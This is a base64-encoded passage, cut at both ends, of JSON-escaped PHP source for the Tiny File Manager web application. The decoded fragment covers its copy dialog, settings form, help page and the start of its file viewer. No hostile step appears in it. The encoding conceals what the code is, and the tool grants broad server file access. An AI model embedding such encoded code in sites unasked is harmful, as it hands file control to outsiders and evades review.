ZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3